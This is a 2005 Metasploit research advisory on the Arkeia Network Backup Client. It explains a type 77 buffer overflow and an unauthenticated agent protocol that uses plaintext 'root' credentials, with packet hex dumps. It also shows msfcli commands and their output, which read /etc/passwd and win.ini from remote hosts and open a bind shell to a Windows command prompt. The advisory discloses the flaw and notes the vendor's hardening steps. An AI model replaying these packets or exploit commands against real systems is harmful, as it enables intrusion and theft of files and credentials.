Metasploit Research Advisory
On February 18th, 2005 "John Doe" posted a remote buffer overflow exploit for the Arkeia Network Backup Client. This vulnerability affected all known versions of the software, going back as far as the 4.2 series (when the company was called Knox). The buffer overflow occurs when a large data section is sent with a packet marked as type 77. The Arkeia Network Backup Client is your typical backup agent; it runs with the highest privileges available (root or LocalSystem) and waits for a connection from the backup server. The Arkeia client and server both use TCP port 617 for communication. According to the SANS ISC, the kids are wasting no time.
Update: The issue described in this document is the default configuration of the Arkeia Network Backup Client. It is possible to restrict access to the agent, but it requires a few extra steps to be performed after installation. Please refer to Appendix B: System Security in the Arkeia User Manual for more information.
A few hours after the exploit was posted, I started to investigate the flaw and port the code to the Metasploit Framework. On the Windows platform, it was possible switch from a plain return address smash to a SEH frame overwrite. This provides room for about 1000 bytes of payload and avoids the heap tricks used in the original exploit. When overwriting the SEH frame, a pop/pop/ret opcode is used to redirect execution to [esp+8], which happens to always point 4 bytes before the smashed SEH function pointer. Since Windows 2003 and Windows XP SP2 block SEH returns to system libraries, the best return address to use is one found inside the executable itself.
After a brief session with msfpescan, I found quite a few usable return addresses, however these addresses moved around a bit between different versions of the software. The next challenge was to find a way to detect the version of the Arkeia agent remotely. Many network services will expose their version number in some form and I figured that the Arkeia agent would not be any different.
I installed the Arkeia Java GUI, played around with the protocol, and eventually found a request (type 9) that would dump the version information from an Arkeia server. Unfortunately, this method only worked with the server side; the client agent would simply ignore the request. Annoyed that what should be a simple task was already taking the better part of an hour, I shifted focus to the protocol used by the server to communicate with the client agents.
Then things started to get ugly. I installed the Arkeia agent on a Windows 2003 server, pointed it at the Arkeia backup server running on Fedora Core 3, and used the GUI to register the client with the server. At this point, I was able browse the client filesystem and configuration settings from the GUI. One of the configuration screens displayed the client's Arkeia agent version, exactly what I needed to reliably exploit the client agent.
I fired up a network sniffer and went through the entire process again. The first packet of this protocol contains the IP address of the initiating system. Since this was a default Fedora Core 3 install, the hostname was "localhost.localdomain" and the IP address sent in the packet was "127.0.0.1" (7f00 0001). In addition to the IP address, the packet contains an application name (ARKADMIN) followed by "root", a null byte, "root" again, another null, and what might be a protocol version number. An example of this packet is shown below.
00000000 00 41 00 00 00 00 00 73 .A.....s 00000008 00 00 00 00 00 00 00 00 00 00 00 00 7f 00 00 01 ........ ........ 00000018 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........ 00000028 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........ 00000038 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........ 00000048 00 00 00 00 00 00 00 00 01 00 00 7f 41 52 4b 41 ........ ....ARKA 00000058 44 4d 49 4e 00 72 6f 6f 74 00 72 6f 6f 74 00 00 DMIN.roo t.root.. 00000068 00 34 2e 33 2e 30 2d 31 00 00 00 00 00 00 00 00 .4.3.0-1 ........ 00000078 00 00 00
The first packet is followed by two somewhat uninteresting requests (only the initiating side is shown below).
0000007B 00 73 00 00 00 00 00 0c 32 00 00 00 00 00 00 00 .s...... 2....... 0000008B 00 00 00 00 .... 0000008F 00 61 00 04 00 01 00 15 00 00 31 37 36 30 37 00 .a...... ..17607. 0000009F 45 4e 00 00 00 00 00 00 00 00 00 00 00 EN...... .....
Finally, the server sends the ARKADMIN_GET_CLIENT_CONFIG request, followed by a request that may indicate that the server is ready for the response (just the initiating side is shown below).
000000F3 00 62 00 01 00 04 00 27 41 52 4b 41 44 4d 49 4e .b.....' ARKADMIN 00000103 5f 47 45 54 5f 43 4c 49 45 4e 54 5f 43 4f 4e 46 _GET_CLI ENT_CONF 00000113 49 47 00 33 00 00 00 00 00 00 00 00 00 00 00 IG.3.... ....... 00000122 00 63 00 04 00 05 00 11 30 00 31 00 33 00 00 00 .c...... 0.1.3... 00000132 00 00 00 00 00 00 00 00 00 ........ .
The client responds back with a big blob of data that contains the version number of Arkeia and some information about the operating system. Linux systems will respond back with everything from the CPU in use to the exact kernel version and Linux distribution. Solaris and Mac OS X systems also provide a massive amount of information about the remote system.
0000004D 00 63 00 04 00 03 00 1d 33 00 31 00 32 00 30 3a .c...... 3.1.2.0: 0000005D 35 2c 31 3a 32 2c 32 3a 36 2c 00 00 00 00 00 00 5,1:2,2: 6,...... 0000006D 00 00 00 00 00 ..... 00000072 00 68 00 04 00 04 00 04 00 00 00 00 00 65 00 04 .h...... .....e.. 00000082 00 05 00 6e 32 30 30 35 2f 30 32 2f 31 39 20 31 ...n2005 /02/19 1 00000092 38 3a 34 35 3a 31 38 20 49 30 30 32 37 30 30 30 8:45:18 I0027000 000000A2 30 20 30 31 41 52 4b 41 44 4d 49 4e 5f 47 45 54 0 01ARKA DMIN_GET 000000B2 5f 4d 41 43 48 49 4e 45 5f 49 4e 46 4f 3a 20 59 _MACHINE _INFO: Y 000000C2 6f 75 20 68 61 76 65 20 73 75 63 63 65 73 73 66 ou have successf 000000D2 75 6c 6c 79 20 67 6f 74 20 74 68 65 20 6d 61 63 ully got the mac 000000E2 68 69 6e 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e hine inf ormation 000000F2 21 00 00 69 00 04 00 06 00 6b 4c 00 49 57 46 50 !..i.... .kL.IWFP 00000102 00 31 00 49 57 4d 49 00 31 00 54 50 56 41 4c 55 .1.IWMI. 1.TPVALU 00000112 45 00 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 E.Micros oft Wind 00000122 6f 77 73 20 53 65 72 76 65 72 20 32 30 30 33 20 ows Serv er 2003 00000132 66 61 6d 69 6c 79 20 45 6e 74 65 72 70 72 69 73 family E nterpris 00000142 65 20 53 65 72 76 65 72 20 20 28 42 75 69 6c 64 e Server (Build 00000152 20 33 37 39 30 29 00 50 4e 41 4d 45 00 53 79 73 3790).P NAME.Sys 00000162 74 65 6d 00 45
Something still seems to be missing... What happened to authentication? Could those "root" strings somehow be the username and password? The install process for the backup client does not provide an option or utility to set the password. The user manual makes it clear that the root password for the backup server software should be changed, but it doesn't have any information on setting a password for the client side. If the username and password for the agent is "root", why is it being sent in the clear in the first place?
I went back to the user manual, the support web site, and every other resource I could find within a few steps of Google. The authentication method for the agent software is not mentioned in any of the obvious places*. I tried changing the server password and restarting the service, figuring that it did some form of passthrough authentication back to the server. That did not seem to be the case. I uninstalled the agents and the server from my local network, manually cleaned out the registry, and reinstalled the agents with the default of "NOT CONFIGURED" for the backup server address. A quick perl script demonstrated in every single client agent install, it was possible to browse the file system and dump configuration settings simply by replaying the packets above.
* Apparently I can't read. The Appendix B: System Security section of the Arkeia User Manual describes a process for locking down the Arkeia client -- not sure how I missed this when writing up the original version of this document...
Dumping the version and operating system information is pretty harmless, but we can use the same technique to browse and manipulate the remote filesystem. You don't even need an exploit, any Arkeia backup server will do. Simply add the system as a backup client, configure your backup job, and leech data like a 13 year-old on Kazaa. Since the Arkeia server also runs a vulnerable agent, you could easily "restore" a cooked copy of the /etc/shadow file back to the server.
Code! Everyone likes code. I submitted an exploit module for the Metasploit Framework called arkeia_agent_access that demonstrates the client information leak and remote file retrieval. The file transfer code is limited to 65K bytes and requires the hostname of the remote server to specified as an option. This module is included in the latest 2.3 snapshot or via the msfupdate system. Two pcap files have been provided that demonstrate filesystem navigation and client information exposure.
The examples below demonstrate the arkeia_agent_access and arkeia_type77_win32 exploit modules in Metasploit 2.7 exploit modules.
$ msfcli arkeia_agent_access T
Supported Exploit Targets
=========================
0 Read a file from the remote system
1 Display the remote system information
$ msfcli arkeia_agent_access TARGET=1 RHOST=192.168.0.218 RFILE=/etc/passwd HNAME=localhost.localdomain E
[*] Querying the Arkeia Backup Client...
[*] System Information
System: Linux 2.6.9-1.667
Distrib: Red Hat Fedora Core release 3 (Heidelberg)
Free RAM: 3 Mbytes
CPU MHz: 2083.985
Total RAM: 250 Mbytes
Archi: i686
Version: Arkeia Network Backup 5.3.3
CPU Model: AMD Athlon(tm) XP 2800+
$ msfcli arkeia_agent_access TARGET=0 RHOST=192.168.0.218 RFILE=/etc/passwd HNAME=localhost.localdomain E
[*] Transferred 1693 of 1693 bytes for /etc/passwd
[*] Dumping file contents...
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
[ snip ]
$ msfcli arkeia_agent_access TARGET=1 RHOST=192.168.0.242 HNAME=win2003sp0 E
[*] Querying the Arkeia Backup Client...
[*] System Information
System: Microsoft Windows Server 2003 family Enterprise Server (Build 3790)
Version: Arkeia Network Backup 5.3.0
$ msfcli arkeia_agent_access TARGET=0 RHOST=192.168.0.242 HNAME=win2003sp0 RFILE=c:\\windows\\win.ini E
[*] Transferred 477 of 477 bytes for c:\windows\win.ini
[*] Dumping file contents...
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
[MCI Extensions.BAK]
aif=MPEGVideo
aifc=MPEGVideo
[ snip ]
$ msfcli arkeia_type77_win32 TARGET=0 RHOST=192.168.0.242 PAYLOAD=win32_bind_stg LPORT=4444 E
[*] Starting Bind Handler.
[*] Attempting to exploit target Arkeia 5.3.3 and 5.2.27 Windows (All)
[*] Sending 4096 bytes to remote host.
[*] Got connection from 192.168.0.100:38133 <-> 192.168.0.242:4444
[*] Sending Stage (143 bytes)
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\WINDOWS\system32>
